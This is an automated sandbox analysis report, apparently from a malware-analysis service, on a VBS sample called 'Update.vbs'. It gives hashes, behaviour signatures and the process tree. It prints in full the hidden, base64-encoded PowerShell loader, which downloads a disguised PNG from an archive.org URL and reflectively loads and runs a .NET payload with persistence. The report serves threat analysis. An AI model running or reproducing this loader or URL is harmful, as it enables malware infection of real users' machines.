Analysis

  • max time kernel
    101s
  • max time network
    102s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250610-en
  • resource tags

    arch:x64arch:x86image:win11-20250610-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    22/08/2025, 15:01

General

  • Target
    Update.vbs
  • Size 72KB
  • Sample250822-sebysawkz8
  • SHA256 a8366bc01f3cdc7c41a5d08ef5e34bf8c6888e205f0c70892e7fa5a1bde2a3bb
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://archive.org/download/optimized_msi_20250814/optimized_MSI.png

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Update.vbs"
    1⤵
      PID:3892
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG51bGwgPSAoKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvb3B0aW1pemVkX21zaV8yMDI1MDgxNC9vcHRpbWl6ZWRfTVNJLnBuZycpIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKTskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpOyRvbGluaWEgPSAnPVFIZTA1Q2NWTjNiMDVXWnRWM1l2UkVNeVVTWQoNMFZHY3lGMlF2a2lNb0FqTWxFR2RsQm5jaE5HTXlVU1kyVldkTzlTTXhBRE82Y21jdjV5Y3VSMmFqVkhadVEzYnpOM0x2b0RjMFJIYSc7JHR5cGUgPSAkYXNzZW1ibHkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7JG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJyk7JG1ldGhvZC5JbnZva2UoJG51bGwsIFtvYmplY3RbXV1AKCRvbGluaWEsJycsJycsJ05hbWVfRmlsZScsJ1JlZ0FzbScsJycsJ1JlZ0FzbScsJycsJycsJycsJ05hbWVfRmlsZScsJ3ZicycsJzEnLCcnLCcnLCcwJywnc3RhcnR1cF9vbnN0YXJ0JykpOw==')) | Invoke-Expression"
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Modifies trusted root certificate store through registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3116

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          __PSScriptPolicyTest_t1dy10ft.0sp.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t1dy10ft.0sp.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/3116-0-0x00000242EACC0000-0x00000242EACD0000-memory.dmp

          memory/3116-1-0x00000242EACD0000-0x00000242EACF2000-memory.dmp

          memory/3116-10-0x00000242EACC0000-0x00000242EACD0000-memory.dmp